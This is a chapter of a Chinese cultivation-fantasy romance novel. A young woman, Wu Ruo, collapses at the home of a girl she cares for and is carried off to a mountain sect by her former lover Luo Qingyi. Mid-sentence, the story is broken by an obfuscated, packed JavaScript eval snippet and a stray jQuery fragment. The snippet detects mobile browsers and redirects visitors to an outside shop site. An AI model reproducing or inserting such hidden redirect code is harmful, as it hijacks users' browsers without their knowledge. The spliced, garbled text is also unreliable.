3. 03
    这一觉巫偌睡得很沉。

    画面转眼而过,少女时代的她坐在家中的坛台风口,看着手中透明的玻璃皿。

    一条玫红色的红线静悄悄躺在透光的底部,微微地卷了卷,又恢复了不动的姿势。

    “阿偌,除非万不得已,不要动用情蛊……”

    她打开皿顶,幽幽地看着微凉的风灌入器皿,红线动了,在她心底点上一抹悸动的殷红。

    “因为人心的复杂,是比任何苗蛊,都要难以背负的呀……”

    梦中又依稀可见曾经的沧海旧事,还有梦中那个白玉般圣洁无瑕女人的脸。

    只是在醒来的那一瞬间,全部被一整震天响的“咚”惊碎了,一切化为乌有。

    巫偌是被街边的铜锣声吵醒的。窗外吵吵闹闹,铜锣、喇叭声,震天响的鼓点,人声鼎沸,掺着纯朴的村民们热闹的打趣声。

    隔壁小床的玉儿倒是醒得很早,趴在窗檐上止不住地向外瞅。

    见巫偌醒了,稚气的童音回荡在狭窄的屋子里:“阿姊!村东头的玲子姐姐要嫁人啦,阿娘也出门帮忙了!嘻嘻,玲子姐今天穿得好漂亮哦!”

    巫偌简单抹了把脸,向外望去。

    东头的玲子家算得上村落里富裕的一户,婚嫁之礼自然也是不落人下。

    只见接亲的车队十分豪华,八人抬着一顶色泽鲜艳的红轿子,已经从玉儿家门前的小路走过,留下一个远远的背影。

    那花轿装饰得也算华丽,顶端有着长而密的红缎绑着花布,侧面垂挂着些许的珠帘。虽说不能和富家小姐媲美,但在民风淳朴的村落里,也算得上独树一帜了。

    迎亲的队伍一边走着,一边留下欢声笑语,还有一地红纸炮竹的碎屑。向来喜欢热闹的小孩子们已经迫不及待地跑出去,跟在车队后面大声地笑,还要伸手讨几块糖糕。

    “你不去吗?”见小玉儿眼巴巴地看着远处,巫偌问道。

    “阿姊,我不去了……”玉儿眨着眼睛道,“我只是想看看玲子姐姐,变成新娘子之后,好漂亮。”

    女孩挥舞着短短的小手,眼里焕发出光彩:“那个头饰,好漂亮哦!金光闪闪的,好多漂亮的珠子,还有花……那个形状像是我在书上看到的!”

    “嗯……”巫偌笑笑,“是凤冠霞帔,新娘子出嫁时的穿着。”

    “哇!”玉儿眼睛睁得很大,纯洁无垢的眼底满是好奇与期待的光,“阿姊,我也好喜欢……不知道以后有没有机会穿上……”

    她说着,灵动的目光忽地一下子转移到了巫偌身上:“阿姊!你看起来和玲子姐姐差不多大耶,你有没有穿过呀!”

    巫偌一愣,脸上的笑容蓦地僵硬。

    她沉沉地垂了眉眼,意识到女孩子在看,强行转移了自己的表情,唇角荡开一抹浅浅的无奈一笑:“嗯……没有。玉儿以后要好好学习,将来有了钱,就能穿上满足一下了。”

    “好!那等我大大,我也要去私塾读书,将来考成女状元!”

    在巫偌有意的引导下,小女孩很快便产生了雄心壮志,注意力也从她的过往,转移到了对未来的憧憬和期盼上。

    她松了口气,看着玉儿拿起窗边的蒙学教材,一字一句地朗读,才松开被自己攥紧的裙摆,那劣质的衣角已经被折出明显的皱痕。

    当玉儿问道那个问题时,她的头脑一片发懵,仿佛有沉重的齿轮重重敲击在她的颅顶,让她的思绪久久不得回神。

    凤冠霞帔……她穿过。

    而与她执手相依的另一人,是她前半生无法割舍掉一切。同样,也是现在……将她视为一生污点的、修真界圣洁无暇的皎皎明月。

    她也曾与洛卿宜一同携手相依,身着两件颜色不同却款式相近的凤冠霞帔。相近的珠宝光芒璀璨,一红一金的长霞交相夺目,在地毯上绵延出走不尽的光。

    彼时的洛卿宜爱她。

    可这份爱,是建立在欺瞒和妖蛊之上,是她偷的。

    她还回去了,也付出代价了,该是两清了。

    可她的头好疼……

    像是有什么线连着,很累,又或许是花该浇水了?好迟钝。

    她甘心吗……就这样吧,头好疼,不想思考,不想醒来,只想一辈子睡在不愿醒来的梦里,囫囵吞枣地苟且偷生。

    ……她不动了。

    “阿姊!阿姊你怎么了,你醒醒……呜呜呜!”

    玉儿背完了一篇短短的三字经,正想着过来偷懒片刻冲巫偌撒撒娇,却眼睁睁地看着女子如断了线的木偶一般,轻飘飘地倒下。

    像是一根无所依的羽毛,轻得令人发慌。

    “阿姊!阿姊你……呜呜……你快醒醒啊……”

    年纪尚小的女孩还在憧憬未来,尚未经历过如此大的变故,心中的恐惧占据了思维的一切。她伏在巫偌身上,放声大哭。

    “……”

    玉儿哭了许久,只顾着自己抹眼泪了,连最基本的试探心跳和鼻息都不曾尝试。

    她哭得累了,才放开地上躺着的巫偌,正绝望地抽着鼻子,却忽地发觉自己跪趴的地方,竟莫名被一个影子遮挡。

    “啊!鬼啊……唔啊啊啊?!”

    小女孩惊慌失措地转过身去,正欲在可怕的鬼神面前张开双臂,护着唯一对自己好的阿姊,却在看到对方的脸颊时,竟痴痴地说不出话来。

    好漂亮……神仙……不对,神仙也没有这么美满的女子……昨天那个仙君姐姐就不如今天的好看……

    肤白胜雪,柳眉如烟。在一双柳叶般的细眉下,是如秋水般沉静无波的绝世美目。眼底分明没有水潺流转,却在一瞬间略显惺忪,像是俯瞰人间的神。

    长发垂落到脚踝,勾起狭长又千丝万缕雪,美得空灵,美得神迹。

    玉儿仰着脸,小手不自觉地垂在身体两侧,竟是看呆了。

    “认识她多久?”那莫名出现在她家的女子如神仙般空灵,此时目光淡然,声线平平道。

    “啊……嗯嗯嗯……我……一年吧……”

    “她很喜欢你。”女子又道,语气平静如水,听不出任何滋味。

    “嗯嗯……阿姊……阿姊是全天下对我最好的人!”玉儿终于恢复了些理智,她敏锐地感觉到不同凡响的气氛。

    似乎自昨日起,她和巫偌前往了一趟百商街,又在那儿听了段并不美好的话本,还遇到了个脾气暴躁,但出手大方的仙君姐姐,她的阿姊,莫名就变得情绪低落。

    她早就猜测阿姊是仙门中人,该不会……这位,就是阿姊的故人吗?

    “嗯,让开。”女子道。素玉般的双手似乎在女孩的肩上轻轻一拍,取走了不知是何物。

    若是姜青北在场,便会向女孩解释,这是她们仙门中人所留一个记号。而修真者对凡人的印记,可以做到悄无声息,凡人对此无知无觉。

    玉儿听闻,却并不想动,她猜测出对方很可能是阿姊的故人,看这位神仙的语气,是并无恶意,但她也不能白白

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581366|143119||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    让对方把阿姊带走……

    可她在那女子的视线下,却不由自主地乖乖让开自己小小的身位,侧到一边。

    “你……”你会伤害她吗。

    玉儿想开口,上下两牙却开始打颤,只得看着对方俯下身子,轻飘飘地抱起瘫倒在地的巫偌。

    神仙姐姐的动作很轻,是不是也很喜欢阿姊呀……阿姊被带走,会不会有危险……

    “不会。”

    玉儿分明没有问出口,但她的的确确听到了对方的回应。对方那双浅淡色的眼眸似乎能够洞察她心中的一切想法,让她有种说不出口的恐惧。

    “药。”神仙女子道。

    她手上分明没有任何动作,但一瓶散发着药香的药瓶便稳稳地放在了破旧的床头柜上。里面药味浓郁程度,比昨日她们去百商街所换的药瓶,还要重上千百倍。

    必然是一瓶灵丹妙药……玉儿知道,这是这位神仙对她家的恩惠。

    对方言简意赅,一句话似乎不超过五个字,也符合她对高冷神仙的了解。可对方要带走她喜欢的阿姊……

    “自己服下。”对方又道,“若能成就根骨,可在八岁之前,前往至元仙宗初试。”

    说罢,那女子不再理会,将怀中的巫偌往自己怀里裹了裹,又将沉睡的发丝靠在自己胸前,动作宛如对待传世的珍宝。

    可她在触碰对方的一瞬间,眼底又弥散出不为人知的晦暗。

    “忘掉。”女子又道。

    玉儿只觉一阵疲惫传来,大脑也是昏昏沉沉的,仿佛有千斤之重。

    好困……今天经历了什么嘛,好像梦到了一个神仙姐姐,她还给了我一瓶丹药……唔,昨天好像也有个好心阿姊帮我从外面换来了一瓶丹药,是谁呢……

    她踉踉跄跄地走到床头,很快便入了眠。

    ……

    洛卿宜并未吝啬法力,她真身仍在至元仙宗,只是捏了个凡间虚影,但一成的法力也已经足够她此行的目的。

    她抱着怀中沉睡不醒的女子,心念一动,一扇流水般的门静悄悄地凭空打开。

    在门外的世界,赫然是修真界至美无双的景色,而落脚的地点,恰然是被无数文人雅士共称传奇的至元仙宗,落雪峰。

    落雪峰的峰顶是常年不化的万千积雪,偌大又洁白的雪花宛如铺天盖地的鹅毛,一棵雪松悄然立在最高处,树下是一方茶桌,两张朴素而陈旧的石凳,还有一杯冷了的茶。

    女子并未停留,虚影渐渐凝成实质,与她本源的身体融为一体。

    若是此时有人经过,定然会低头尊称一句“洛仙长”,头是不敢抬的。

    自从八年前,洛卿宜一剑破了心魔,无情道重塑破茧成神,她们明显得感受到,对方的气质,变得愈加冰冷,愈加难以接近。

    像落雪峰峰顶,常年不化的积雪,已经冻成了实质,无论多暖,也已经融不化了。

    洛卿宜一路抱着女子,缓缓走入屋内。她像是在笑,可脸上的表情却又难以捉摸,仿佛在痴,在怨,在恨,却又凝结成高深莫测的执念,和无边无尽的爱意。

    “阿偌……”

    她将女子平放在床榻上,这处红帐仍保持着多年前的模样,桐木双人床,两个针脚细腻的枕头并排而放,枕下是两个同心结,被时光搁浅得有些旧了。

    “找到你了。”

    她抱住对方,双手攥得很紧,从怀中又掏出一个药瓶,摸出一枚血红色的丹药,轻轻塞到巫偌紧闭的口中。